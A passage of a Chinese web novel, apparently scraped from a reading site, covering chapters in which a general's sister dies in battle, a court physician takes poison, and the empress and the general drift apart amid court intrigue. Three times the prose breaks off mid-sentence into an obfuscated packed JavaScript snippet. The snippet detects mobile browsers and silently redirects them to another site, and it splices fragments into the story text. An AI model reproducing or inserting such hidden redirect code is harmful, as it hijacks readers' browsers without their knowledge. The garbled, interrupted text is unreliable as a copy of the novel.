付清衣下意识打马上前,举刀拦在少年前面格挡,铁锤落下,顿觉虎口一麻,盛怒的老突厥王浑身肌肉都充血涨红,居然一锤子将他虎口震出了血,火辣辣地疼。付清衣惊异之下不敢当其锋锐,刚想闪避,老突厥王一锤又至,他一闭眼,咬牙横刀,刀尖与铁锤相击,轰然巨响中,那把削铁如泥的名刀刀锋竟然被撞得卷曲了起来! 饶是身经百战如付清衣,也被这样猛然爆发的臂力震得半条胳膊都隐隐作痛,眼下若让开,那个不知天高地厚的少年是死路一条,付清衣咬肌绷紧,神情陡然凌厉起来,在新的一锤蓄势之际,他猛然掷出这把卷曲的长刀,打算趁着老突厥王躲闪的时候勒马后退换刀,谁知老突厥王已经发了疯,任由那把长刀径直捅进了他的心脏,依然执着地举锤砸来,口中一边喷出血沫一边嘶声长吼:“去死!!!” 付清衣避无可避。 “咚”。 是铁锤砸中什么的声音。 “咔嚓”。 是骨头碎裂的声音。 所有人都来不及反应,红色的影子一闪而逝,血糊了付清衣一脸,他霍然变色,不顾一切地抬手去抓,却只抓到一把极速坠落的红缨枪,枪身温热,尚有体温。 不远处的张贵年一剑把与他纠缠的突厥人砍下,狂奔而来,可还是迟了一步,他惨叫道: “清蓉!!!” 付清蓉摔下马去,她的红袍与血融为一体,缓缓流淌在青草上,洇开一团艳色的血红。 老突厥王同时栽下马去,他如一座倒塌的山,轰然落地,落地时仍然望着地上的三颗头颅,眼里缓缓流出血泪。 战场上的突厥族人悲啼起来,这片宁静了百年的古老草原上,哭声如安魂曲回荡。 付清衣跪在血地里,双手小心翼翼地要去抱付清蓉,可她从肩膀到手臂的骨头都碎了,他一触碰到她,就止不住地开始发抖。 “清蓉……清蓉……我们回家,我带你回家……” 如果换作往常,他这个最顽皮不过的妹妹定要笑着站起身,嘲他软弱,告诉他这只是一个恶作剧,她好得很呢。 但她现在什么也不说,只是静静躺在地上,面目全非。 付清衣低着头,垂落的发丝盖住了他的脸,人们只能看见这个打赢了无数场战役、泰山崩于前尚且面不改色的将军,此刻长跪在妹妹的尸首前,不发一语,身后,血与泪蜿蜒,将杂草染尽。 十年前他失去了父亲,八年前他失去了母亲,现在,他再也没有妹妹了。 31. 两心离(2) 付清蓉的死讯与大破突厥的捷报一起递到了宋闻薰桌上。 她静静看完,将捷报放在火烛上点燃,烛泪凝成一滴血,良久,她哑声问送信的使者:“付将军呢?” 使者惶惑低头:“将军病了一场,现已经大好了,不日便可班师回朝。” “嗯。”宋闻薰轻声道,“退下吧。” 使者的脚步声渐渐远了,宋闻薰枯坐在桌前,望着桌上付清衣的字迹。 他病中提笔,笔迹潦草破碎,只有四个字: “清蓉死了。” 清蓉死了。 宋闻薰看了许久,仰头靠在身后的椅子上,闭上眼睛。 二月底,突厥残部已降,付家军班师回朝,帝亲迎之。 京城的百姓们也都纷纷涌去城门,争先恐后看本朝最年轻的大将军,原本还在沸腾欢呼的人群在看见将军的时候全部安静下来,一片死寂。 将军一身缟素,扶棺而行。 他行至城门处,将佩剑解下,伏身长跪。 帝王一步步从城楼上走下,伸出手将他扶起,然后走到棺椁边,亲自将战旗披上。 她听见他低哑的嗓音:“我没有家人了,阿薰。” 宋闻薰的手颤了一下,她抚摸过棺椁,数月前还在笑意盈盈打趣她的女孩子,现在无声无息地躺在里面,尸骨未寒。 这是北齐开国来最大的胜仗,但整个京城没有欢呼,没有庆祝,只有来自边地的号角,于京城悠久回荡。 突厥平定只是开始,后续的收尾工作更为繁杂,要选什么样的人去那里,要如何对待投降的旧部,从前与突厥交好的国家要怎么处理…… 等宋闻薰把这一切都处理完,已经是半月后。 这半月来,除了公事讨论,她没有去见付清衣。他也没有来找过她。 他们在如何处置王之寰上意见不一,付清衣认为王之寰违抗军令擅自行动,应当以军法斩首,而宋闻薰一方面欣赏他斩草除根的手段,一方面又想借着放过他来收服世家,饶了他一条命。 因此,他们爆发了一场史无前例的争吵,付清衣第一次在宋闻薰面前流泪,他颤抖地说,没有王之寰的意气用事,清蓉不会死。 宋闻薰语气温和,态度却坚决,她道:“清衣,是突厥族长杀了清蓉,为了给清蓉报仇,我会下旨屠杀突厥一族。王之寰有错,但他也是为了杀敌而已。他是可用的人,罪不至死。你现在太难过了,应该冷静几日再和我讨论这件事。” 付清衣定在原地,静静看了她许久,一言不发地离开了,从那以后,他上朝,打猎,操练,在其他时间里,他闭门谢客,拒绝了所有客套和关心。 慕行止后来倒是主动找过宋闻薰两次,一次是辞去太医令一职,一次是求她恩典,问她能否把曾经清蓉住的院子赏赐给他。 他本就满身病气,如今更加憔悴,病骨支离,眼眶凹陷,坐在轮椅上轻飘飘,仿佛一阵风就能吹走。 宋闻薰看了他递上的折子,又看了两眼他现在的模样,罕见地叹了口气:“你可知她与张贵年……” 慕行止打断她的话,他挣扎半晌方起身,扶着轮椅让自己跌跪在地上:“我知道,你当初问我要什么,我说我要的你给不了,现在,我只想要这个。” 这简单的几句话就用尽了他的力气,他以衣袖掩面,跪在座下剧烈咳嗽起来,移开衣袖时,洁白衣袖上血迹斑斑。 慕行止一贯要强,最厌恶在别人面前展露脆弱的一面,他这幅模样实在狼狈,纵然是认识他多年的宋闻薰,看到他这样也不免怔了怔,她低声道:“张贵年也以军功向我讨这座院子。你觉得,如果清蓉知道,她更愿意给谁?” 慕行止像是被人当心捅了一刀,整个人肉眼可见地血色褪尽,苍白如同死人。 “可我……”他喃喃了这么一声,没有再说话。 他配不上她。 他从遇到她的第一面起,就知道这一点。 哪怕是宋闻薰,看到他这幅样子也说不出什么重话来,只得无奈道:“罢了。我会将她用过的长弓赐给你。你身体一直很差,辞了官去休息一下也好。” 慕行止像是被人抽去了灵魂,瘫在地上,任由宋闻薰叫来侍从把他重新扶到轮椅上,他身子本就孱弱,方才情绪起伏,又挣扎下跪,眼下一丝力气也没有,只能伏在轮椅上低低地喘咳,他的手无力地垂下,袖子边咳出的血一片片扩散开。 宋闻薰看着那片鲜艳的红,想起几年前,她推开小院门,撞见付清蓉的笑脸,少女红衣乌发,笑起来的眉眼灼灼如枝头的红梅花。 她和慕行止是一样蛰伏在暗处的毒蛇与狼,却不约而同地被付家人这种旺盛蓬勃的生命力吸引,黑暗里呆久了的人,畏光却又忍不住向往。 宋闻薰思绪一发散,不小心从慕行止身上品出一丝微妙的同病相怜来,她本能地排斥这种感觉,轻啧一声,干脆眼不见心不烦,挥手让慕行止退下。 她不可能像慕行止一样。 绝不可能。 慕行止没有再讨要那座院子,他沉默下来,倚在轮椅上,转身移向殿外,大门洞开,午后灿烂的阳光照了他满身,他闭了一下眼,却没有抬手遮挡,惨白的肤色被光照得透明起来,眯眼望去,门外春色如锦,鸟语花香,是这座牢笼一般的宫城里最好的时节。 第二日,宋闻薰收到暗卫来报:慕行止昨日于房中服毒自尽。 得到这个消息的时候她正在用早膳,愣了片刻后,她放下碗,失去了用餐的兴致。 她终于明白了昨日为什么慕行止坚持向她讨那座院子。 他想死在付清蓉住过的地方。 “他那样的人,竟是个情种。”宋闻薰顿了顿,为这种荒诞的深情失笑了一瞬,而后,安静下来,扭头望向窗外。 她应该感到悲伤或者惆怅,毕竟慕行止身体不好,也没什么争权夺利的野心,是值得信任的人,她交代下去的事他也办得很利索,在她还不是皇帝的时候,两人曾彻夜密谈,也曾互吐心事,把后背托付给对方,算是她的故交。 她记得很早之前的一个冬夜,她与慕行止于酒楼雅间下棋,窗外的烟花爆竹噼里啪啦地响,年关将至,街上人流如梭,都在热闹地准备佳节。 他们都是孤家寡人,无处可去,便一同找了个地方密谋怎么杀皇后,聊着聊着都有些疲倦,于是宋闻薰摆起棋局,与他手谈,聊作消遣。 宋闻薰下了几颗黑子,抬眼看向他:“你今天心不在焉。” 慕行止把白子攥在手心里,没有说话。 宋闻薰的目光停在他衣服上,思量片刻,笑了:“你衣上的熏香不是从前惯用的,是西域的久合香。这种香料难得,你哪里来的?” 慕行止抬眼:“既然难得,你怎么会知道?” 宋闻薰坦然回答:“清衣给我寄过。” 慕行止低下头盯着自己的袖口:“我有个朋友也给我寄了。” 宋闻薰笑盈盈看着他,道:“这种香料是付清衣缴获的敌国战利品,只有两罐,一罐给了我,一罐给了他妹妹。” 慕行止一怔,手指微微蜷缩起来,他语气变得分外冷硬:“是吗,也许他骗了你。” “清衣不会骗我。”宋闻薰端详着他突然警惕起来的模样,“你和付清蓉,是什么关系?” “没有关系。”慕行止把棋盘一推,冷冷淡淡地看她,“你还下不下了?” 宋闻薰不理他,继续道:“我想起来了,上次玄煞十二营班师回朝,你去了城门迎接,你以往可从来不爱凑这种热闹。” 窗外爆竹声忽然大响,漫天的烟花爆开,他们身侧的窗户里如同开出无数火树银花,照亮了慕行止乍然失神的侧脸。 他执拗地道:“没有关系。” “我以为照你的性子,既是喜欢的人,哪怕没有关系也要得到。”宋闻薰敲着棋子,挑眉,“竟这么谦让。不像你。” “她是自由的,与我相交……不过是怜悯之心使然。”长久的沉默后,慕行止若无其事地落下一子,声音低哑,“我心悦她是我的事,她不该……同我一起枯朽。” 当时之言,言犹在耳。当时她还未封亲王,只是个默默无闻的公主,他也还未曾成为太医令,只是个再普通不过的小太医,那时候他们的关系,是合作者,也是能说上几句话的朋友。 可听到慕行止死讯的这一霎那,宋闻薰最先涌上的情绪,是愉悦。慕行止死了,那些不堪的往事,沾了脏血的谋划,她弑父弑母的过往,也就随着他一同缄默下去。 她一瞬间像是少了一个心腹大患,浑身都轻松起来。 座下的黄金椅、头上的九色冠冕、身上的五线龙袍都亮得炫目,四面八方的墙压过来,这座金碧辉煌的宫殿像是在一瞬间狰狞着要把她吞噬,她撑住额头,鬓角冷汗渗出,竭力让自己摆脱这种诡异的眩晕。 汇报这一切的暗卫素音也是跟了她很久的老人,见她这样,以为是听了死讯感到难过,忙端起桌上的冰沙山楂汤递到她口边:“陛下莫要伤心。” 她声音沉静,如冰水当头浇下,宋闻薰彻底清醒过来,她接过瓷碗抿了一口汤,再放下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450125|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,已经恢复了一贯的从容不迫:“知道了,朕要去一趟将军府,备车。” 素音道:“是。” 宋闻薰忽然转头看着她,看得素音忍不住有些疑惑地抬起头,恰与帝王的视线对上,她急忙跪下请罪:“陛下恕罪,臣并非有意。” “无事,起来吧。”宋闻薰摆摆手,她注视了她一会儿,突然问,“你觉得,朕登基后有什么变化吗?” 素音猝不及防被提问,有些迷茫地道:“陛下比从前……额,更年长了。” 宋闻薰:“……还有吗?” “陛下变成皇帝了。”素音又思索片刻,十分肯定地道。 素音的性子她是知道的,虽然武功高强,却诚实得有几分傻气,跟了她这么久也没学会弯弯绕绕。能说会道的宋闻薰卡了壳,无奈地摇摇头:“你……算了,忙去吧。” 宋闻薰微服来到将军府前,亲自下马车叩响了府门。 她与付清衣冷战了这么多日,他骤然失去妹妹,又和她大吵了一架,现在定然不好受,光是这样一想,宋闻薰冷硬的心上就忽然软了一软,昔日她母亲去世,他带她去大漠策马,说各种话来安慰她,今日她却这么多天不见他,有些过分。 门内传来极轻的脚步声,付清衣一个人独自行军惯了,不喜欢被人侍奉,因此府中没有下人,这个脚步声只能是他的。 脚步声到了门口,停下了。 里面没有声音,宋闻薰发现自己在紧张,她清了清嗓子,道:“清衣。是我。” 门里没有一丝响动,那人既没有离开,也没有开门。 宋闻薰放柔了声音道:“我知道你心里难受,为了给清蓉报仇,突厥的残部我已经下令尽数歼灭,一个不留。清蓉的牌位会和你父母的牌位一起迁入忠烈祠,每一个国人都会记得他们的名字,记得他们为北齐的牺牲。” 付清衣还是没有说话,一墙之隔,他靠在门上,垂下眼睛。 宋闻薰没有得到他的答复,心一沉,她有些急切地道:“清衣,你不想见我吗?” 风吹过,她侧耳细听,没有任何声音。 她等不到他回答,脸色慢慢灰白下去,轻声道:“我想见到你。这么多天,我一直很担心你。” 门那边,付清衣仰头,抬手挡住自己的眼睛,一言不发地听着她说话。 宋闻薰重复着她说过很多次的话,重复着她皇位的来之不易,她的迫不得已,她的野心、欲求和目标。 以往她能用这些很轻易地说服付清衣,但是这一次,付清衣始终没有开口。 宋闻薰站了一会儿,语气沮丧下来,带着很轻微的哽咽:“好吧,你不愿见就算了……但是清衣,我们只有彼此了。” 她说完这句话,不再停留,刚刚转身,就听见身后的门“吱呀”一声打开,还没等她反应过来,朝思暮想的人就站在了她面前。 短短几日,他瘦了很多,五官棱角更为锋利,变化最大的是眼睛,原本那双眼睛里总是噙着笑意,现在黝黑一片,没有温度,比起从前,他的气质明显沉冷下来。付清蓉的葬礼是他亲手办的,他身上骄狂少年气的那部分像是被他亲手埋葬了,他真正变成了一个锋锐冷峻如同他父亲一样的将军。 付清衣垂眸看了她一会儿,抬手拂去她眼角的泪。 宋闻薰在看到他的一瞬间扑了过去,将他抱了满怀,她急切地亲吻他,吻他的鼻尖、吻他的脸颊,吻他的唇,她吻得用力又不得章法,仿佛在确认什么。 最后她把他抵在墙上,泄了气,轻轻地问:“你讨厌我吗?” 付清衣的眉心皱着,目光淡淡地划过她的脸,她的每个表情都精心设计过,连同眼泪。他看得出来。 可他依然会心软。 “我不会讨厌你。”付清衣开口说了他今天的第一句话,声音干涩,“我只是有时候会觉得……你更像陛下,不是阿薰。” 宋闻薰低下头,避开他的视线。 付清衣回抱住她,慢慢道:“但不管是陛下还是阿薰,我都不想看你难过,不要哭了好不好?” 在宋闻薰的回忆里,这是他们最后一次拥抱着说话。 他们那天很默契地避开了关于王之寰的讨论,只是安静地度过了一个夜晚,竭力让自己看起来和以前一样。 分别的时候,宋闻薰走出几步,突然回过头来,看着站在原地的付清衣,他面上没有什么表情,黑沉的眸子一眨不眨地看着她。 宋闻薰道:“你以前这个时候,都会笑的。” 付清衣道:“……是吗,我忘记了。” 32. 两心离(3) 王之寰秘密被召进宫,自宋闻薰登基,世家大权旁落,王家这一代子嗣里,只出了他这么一个文武双全的佼佼者,他的命,是王家举全族之力保下来的,作为条件,王家与姜丞相割席。 他跪在地上,姿势谦卑,脸上的神情却松散无谓,好像前几日朝中关于要不要杀他的争论,对他来说不过是小小的意外。 听见越来越近的脚步声,他面不改色道:“罪臣王之寰,参见陛下。” 宋闻薰看到他,就想起自己为了他的命与付清衣冷战的事,她语气难得有几分厌烦,道:“朕不喜欢不听话的人,能保你,也能杀你。” 王之寰直直抬头,含笑看向宋闻薰的眼睛:“臣还有用,愿意为陛下做任何事……” 他还是个少年,跪在地上,身姿如初冒的笋,秀挺笔直,但他的目光里,戾气与阴沉几乎压不住,被他看着,会有一种被盯上的不适感。 “啪!” 宋闻薰缓缓走到他面前,没有任何征兆,抬手给了他一个结实的耳光。 王之寰被抽得偏过头去,他捂着自己的脸,尖锐的指甲划破了他的嘴角,血从指缝里流出,他愣住了。 “朕没有允许你直视朕。”宋闻薰懒得施舍给他目光,拈来锦帕,面无表情地擦拭着自己的手,道,“下一次,朕挖了你的眼睛。” “是。”王之寰恭顺地低下了头,森白的贝齿咬了一下自己正在流血的唇角,尝到了自己的血,他整个人兴奋得战栗。 生长在高门大院里的王之寰,披着世家贵公子的皮,内里却是天性嗜杀的一只鬼。虐待、残杀、折磨,都能让他倦怠的神经迸发出扭曲的快感。 战场上血腥味的风,是他闻过最好闻的香气。 手起刀落时对方的惨叫,是他听过最悦耳的歌声。 而眼前的帝王,眼前这个心思诡谲手腕狠辣的帝王,她的指甲犹如蛇的牙齿,她的手上沾过无数条人命,她谈笑间就能让无数人头落地。 她真漂亮,漂亮得鬼气森森,恶劣又耀眼。 宋闻薰并不知道眼前这个状似顺从的人脑子里在想什么,当然,她也不在乎。她只是慢慢擦干净了手,抬眼审视着少年,淡淡地道:“王之敏那个老东西没几天可活的了,不出意外,你是王家下一任的继承人,等过了这一阵子,朕会给你一个末流的军中官职作为你们王家投靠朕的奖励,将来能爬多高,看你自己的造化。” 王之寰微妙地沉默片刻,道:“谢陛下厚爱,只是付将军恐怕已经恨上了我,我在军中……万一被他以公谋私,报复了怎么办?” 不知好歹。 宋闻薰听见他竟敢诋毁付清衣,面色沉下去,当即冷笑道:“他不是你,做不出这等事情。” 王之寰眉心一动,他听过陛下宠爱付将军的传闻,只是没想到,素来多疑的陛下这么护他。这可有些麻烦…… 他陷入沉思,反应不免迟钝,脖颈一凉时已经来不及抵抗,不知藏在哪个角落的暗卫素音悄无声息地把匕首架在了他的喉咙上,帝王神情冰冷地站在不远处,俯视着他。 帝王的眼眸盯着他,和架在他喉咙上的那把刀一样森冷,杀机毕露。 “你呆在军中期间,付清衣若有什么三长两短,朕第一个杀你。” 好敏锐的嗅觉。 王之寰心底一惊,对上宋闻薰的目光,恍惚有种被看透的错觉。 方才起了个头的心思顷刻间烟消云散,他第一次接触这位年轻的帝王,就切切实实感受到了巨大的压迫感。 他默了默,低声道:“……陛下高估臣了,臣哪里敢。” 宋闻薰微抬手,素音拿开架在他脖子上的刀,王之寰还没来得及松一口气,就听见她说:“滚。” 转眼间,两年又过。王之寰的确是将才,陆续在边关立了不少功,宋闻薰提拔了他当昭武校尉,给了他一支独立于朝廷的军队,这支军队的直属指挥者是宋闻薰,他们是宋闻薰豢养的恶犬,指哪儿打哪儿。他再成为王家家主后,也听话地奉上了王家在京城的所有门路,从前隶属于王家的情报与势力,现在全部易主。 付清衣正如宋闻薰所说,从未刁难过他,他不屑于做这样的事情,只是自从王之寰再度掌兵,他再也没有主动踏入过宋闻薰的寝殿。 他依然会给宋闻薰写信,信里中规中矩地汇报边疆的情况,那些私人的问候,被他有意地避开了。 宋闻薰不再在收到他信的时候展颜而笑,看完信,她的脸色反而会愈发阴沉。 有了属于自己的私兵,王之寰又为她所用了,世家已经不足为惧,接下来,宋闻薰把目光转向了姜丞相。 姜丞相自她登基以来,一直以国舅自居,仗着当初立下的功与德妃的那层血缘关系,屡次三番质疑她的决定。他结党营私,贪污舞弊,靠着积累的钱财在京郊盖起一座豪华别院,百官见他甚至需下跪行礼。他提拔同乡,朝中新鲜血液被他一手掌控,分插在各个部门,如同潜伏在暗处的千万只蛀虫。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450126|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但他是实实在在的功臣,宋闻薰轻易无法动他。 宋闻薰忍了这么多年,早已经忍不了了。 她弑父弑母,不介意再杀一个亲人。 这日上朝时,帝王委以重任给姜丞相,要其改革钱币,推行纸钞,并拨调了不少人手给他。 帝王的主意来得毫无征兆,姜丞相仓促没有准备,求宋闻薰宽限几日时间。朝堂上浩浩荡荡出来了一大批姜党官员,纷纷下跪谏言,求帝王收回成命。 但座上帝王只是支着头,含笑盯着姜丞相:“国舅劳苦功高,不会办不好这等事吧。” 姜丞相再三推辞,依旧退无可退,只好咬牙接下了这个任务。 夜半时分,宋闻薰正在批最后一张奏折,还没来得及喝水,李富脚步匆匆来报:“陛下,钦天监监正有急事求见!” 宋闻薰笔尖微顿,头也不抬:“进。” 钦天监监正是三朝的老臣,准确预言过两场旱灾、一场兵变,甚至预料到了先帝病发的时间,很受尊重。 他整个人都在发抖,一进来就“扑通”跪下,声音压得很低:“陛下恕罪,老臣夜观天象,发现……发现……” 宋闻薰抬起眼,定定看着他:“但说无妨。” 监正吞吞吐吐地道:“将星异彩,来犯紫微。” 李富不着痕迹地倒抽一口凉气,将星,不管是谁,第一个想到的都是……付将军。 帝王的冕旒微微晃动,背后的那双眸子在听到这句话后冷光一闪,宋闻薰手中的朱砂笔洇开一滴墨,不偏不倚盖住了奏折上的“斩”字。 “谁教你的这些话?”宋闻薰淡淡问。 监正抖如筛糠,七十岁的老头吓得面如土色,一副快要当场吓到身亡的模样:“陛下,这真真切切是臣观测到的啊,臣兴许老眼昏花看错了,可钦天监还有其他能观天象之人,都是这个答案。冤枉!冤枉啊陛下!” 李富大气也不敢出,偷偷去看宋闻薰的脸色,却只看见她攥着毛笔的手,因为攥得太紧,指尖有些发白。 过了片刻,宋闻薰静静道:“这件事不许外传,但凡钦天监有一人泄露,全部杀无赦。” “是、是。”监正捡回一条小命,忙不迭磕头谢恩,看见宋闻薰抬手挥了挥,赶紧一溜烟跑了,腿脚快得不像是古稀老人。 宋闻薰放下毛笔,神色有一瞬间的难看,她闭了闭眼睛,再睁眼时,面色如常:“宣王之寰,拨掉兵马监视边疆,若有异动随时汇报。” 33. 两心离(4) 姜丞相近几日是寝食难安,全国性的钱币改革并不是易事,何况宋闻薰拨给他的人,不会允许他这么顺顺利利地推进下去,每日不是这里出了岔子,就是那里有些问题,处处都在着火,他拆了东墙补西墙,很是艰难。 币制改革的火越烧越旺,出乎所有人意料,最后彻底点着的是玄煞一营。 玄煞一营是玄煞十二营里最特殊的一支,以重骑兵为主,隶属于付家,自付老侯爷去世,由老侯爷生前的副将边裨将军李轩德掌管,常年驻扎在天山以南,因为地处偏僻,姜丞相币制改革时漏下了这一支,导致玄煞一营领到的依然是旧货币,在连续三月未领到能使用的军饷后,军队哗变了。 宋闻薰因为天象异变,一直密切关注着边关的动向,玄煞一营一出事,她立马命王之寰前去镇压,几日后,叛乱平。 与此同时,前脚出事,后脚还在考察地方民情的姜丞相来不及等人通风报信,便被人五花大绑押送回京,等候发落。 没有人能料到,将星来犯的天象最终应验在了李轩德身上。 暖炉里的炭火噼里啪啦响着,宋闻薰倚靠在榻上,肩上搭着一条披风,神情凝重,正低头批奏折,她身侧的柳芳歌窥着她的脸色,小心翼翼地道:“陛下,玄煞一营犯了谋反之罪,按律就当诛九族……” 宋闻薰打断道:“朕知道,说重点。” 柳芳歌道:“王之寰平叛时,与李轩德将军起了正面冲突,激愤之下杀了他,也是……情理之中。” 宋闻薰看了一眼柳芳歌,抽出一本奏折扔给她,柳芳歌忙双手接过来,刚翻开,就愣住了。 是付清衣的奏折,他在奏折里再次请求宋闻薰重罚王之寰的自作主张,并将此事定性为“军乱”而不是“谋反”,认为应当为李轩德正名,并放了其他将士们一条生路。 在信的末尾,他直言不讳地写:“昔者比干剖心,非不知殷纣之暴,惟忠魂不灭,故九死而谏;伍胥抉目,非不惧吴王之戮,惟楚恨未消,故悬首而呼。若以无奈之抗,弃十年之功;以片言之谬,绝百死之忠,臣恐后世史笔如刀,于陛下清誉有损。” 柳芳歌看到这一段,倒吸一口凉气,一时间不知该如何表态,她摸不准宋闻薰的态度,默然片刻,轻声道:“虽说李轩德将军是付老将军旧部,但他做下这等事,付将军怎能为他开脱至此,甚至把陛下与殷纣之流并列……” 她看了一眼座上的皇帝,宋闻薰不知什么时候搁下了批奏折的笔,眉间阴翳一闪而过。 于是柳芳歌大胆地说了下去:“玄煞一营谋逆已经是板上钉钉的事情,此事如果按“军乱”来判,姜丞相的罪名也会随之减轻,那陛下的筹谋岂不是也要毁于一旦?陛下待付将军那么好,付将军只在乎父亲的旧部,未曾想到陛下的不得已,还要反过来指责陛下暴戾……” 她不敢再说下去了,陛下的气场一瞬间沉下来,目光割在她脸上,冷厉得吓人。 “怎么不说了?” 柳芳歌忙跪下磕头:“陛下恕罪,臣女不该妄议付将军。” 座上人从她手里抽去奏折,过了片刻,她听见了火烛燃烧纸页的声响,宋闻薰的声音很平淡:“起来吧。” 柳芳歌暗暗松了口气,宋闻薰盯着在火烛里慢慢燃成残灰的奏折,光打在她脸上,半明半暗,只有那双黝黑的眼睛,在黑夜中幽幽地闪着光。 柳芳歌的声音柔婉动听:“陛下重旧情,许多时候都极看重他,可他也不能忘了,陛下是君,他是臣,陛下的决定,他有什么资格置喙。” 宋闻薰良久没有说话,过了一阵子,她抬起手,做了一个退下的手势,柳芳歌福身离去,她踏出殿外时,恰巧与前来请罪的王之寰擦肩而过,他们短暂对视了一眼,柳芳歌抬起手,轻轻抚摸了一下自己的玉镯,王之寰露出一个会意的笑,抬脚入殿。 叛乱被镇压的第五日,远在边关的付清衣孤身一人秘密回京,在大殿外的雪地长跪不起,为玄煞一营的将士们求情。 殿中,宋闻薰捧着暖茶喝了两口,懒懒靠在檀木椅上,屋内摆了腊梅,馨香扑鼻,银炭烧得屋内极暖,一时间芬芳氤氲犹如春天。屏风外,一群宫廷乐师正在演奏,丝竹声悠扬绵长,盖住了窗外的雪声。 一曲奏完,她抚掌笑了笑:“不错。” 帘子被撩起,殿内传来一阵寒气,李富第二次从外头进来,在她身侧悄声道:“陛下,付将军还在跪着。” “他喜欢跪就让他跪。”宋闻薰闻言,面无表情地抿了一口茶,对乐师道,“没事,你们继续。” 片刻后,丝竹声再度响起,帝王半合着眼听曲。李富站在宋闻薰边上,冷汗涔涔,进退两难,不知等了多久,宋闻薰终于抬眼看他:“怎么?” “外头下雪了。”他擦了把冷汗道,“付将军穿得单薄。” “随他去。”宋闻薰重重放下茶盏,咬重了字音,“谁都不许管。” 一墙之隔,里面温暖如春,外面数九隆冬,大雪如鹅毛,纷纷扬扬落下,落在阶下跪着的付清衣身上,他发上、肩上、衣上都积了一层薄雪,整个人如同化在了雪里,只剩下一身的脊梁骨撑着他。 宫殿里隐隐传出乐声,散在寒夜的空气里,被风雪声卷着,原本欢快的乐曲竟像是夹杂着呜咽。 李富再次出门时满面愁容,付清衣看到他这幅样子,什么都明白了,他苦笑一声,轻声道:“不必为我通报了,外头雪大,公公进去侍奉吧。” 李富没遇到过这么温和好说话的主子,一时间愣了愣,即使圆滑谨慎如他,也露出了一瞬间动容的神色,犹豫片刻后,他走到付清衣边上,难得宽慰了一句:“陛下这两日心情不好,不愿被打扰,并非是厌恶将军求见。” 付清衣牵动嘴角,咳嗽了两声,哑道:“……多谢。” 李富朝他行了一礼,转身进门。 付清衣的眼睛被风雪迷住,有些睁不开了,他的牙关冷得打颤,眼前的汉白玉阶,从前他轻松就能走完,如今他叩首长跪,也走不完。 他知道宋闻薰对这件事雷霆震怒,也知道她与他之间的情分渐渐疏远,出事后百般隐瞒,就是不想让他求情,但这一次他必须来。 他欠李轩德一条手臂。 李轩德是他父亲的旧部,在付清衣初上战场时,父亲事多,没什么功夫带他,是李轩德把他带在身边,最开始他不喜欢这个师傅,李轩德是个粗汉子,脾气暴烈,碰上当惯了纨绔的付清衣,动辄便要军法伺候。 直到付清衣初次带兵,不晓得天高地厚,杀红了眼去追击敌军,却中了埋伏,正当焦灼之际,忽闻一声怒喝,李轩德孤身一人抡着斧头策马长驱而入,直杀得满脸是血,用他一条手臂,换回付清衣一条命。 李轩德醒来后,先是看了看自己空荡荡的左袖,又看了看扒在他床前的付清衣,沉默片刻后,用剩下的一只手不轻不重地拍了拍他的后脑勺,故作轻松地爽朗笑道:“哭哭啼啼叫人看了笑话,这有什么,我一只手照样能杀敌。” 回忆像雪一样扑了人满身,记忆中那个曾经救过自己性命的长辈却已被残忍杀害,付清衣肩膀上的陈年旧伤又开始隐隐作痛,他记不清自己跪了多久,记忆越来越清晰,眼前却逐渐模糊,他仰起头,京城的大雪白如银沙,恍惚间,让人把皇宫认作了西北。 如果真的在西北就好了,那时候他还年轻,父母亲人俱在,故交旧友团圆,爱人虽在京城,但他们之间的距离,却比现在近得多。 乐曲声打破了他的幻想,不知为什么,宫内琴声陡然增高,划破寂静的雪夜,付清衣慢慢清醒过来,舌尖漫开一片苦涩,遥遥看见窗户上那人的侧影。 他不明白,只是几年的光景,他所在乎珍视的一切都在迅速离他而去。 妹妹去世,他与宋闻薰大吵一架,恩师被害,宋闻薰连见也不愿见他。 他们一日一日地疏远,她也与记忆里的公主越来越不同。朝堂上他俯首跪拜的时候常常会有片刻怔忡,好像高堂上坐着的并非他的爱人。 他无数次暗自训斥自己不该这样想,她吃了太多苦才走到山巅,他应该心疼她的改变,而不是感到陌生。 直到现在,直到他终于有一天也要跪着一次又一次求她,他才如梦初醒地意识到,她是君王,他是臣子,伴君如伴虎。 他的父母都死于这句话,他却因为与她的情意,轻而易举地忘了。 多么糊涂。 想通这一点,付清衣疲倦地撑着身子,肩上的旧伤口像是被寒气撕裂,疼得他额头上冒出冷汗,力气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450127|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在逐步流失,他半边身子渐渐麻木,窗框中,那个模糊的影子一动不动,像是粘在上面的窗花。 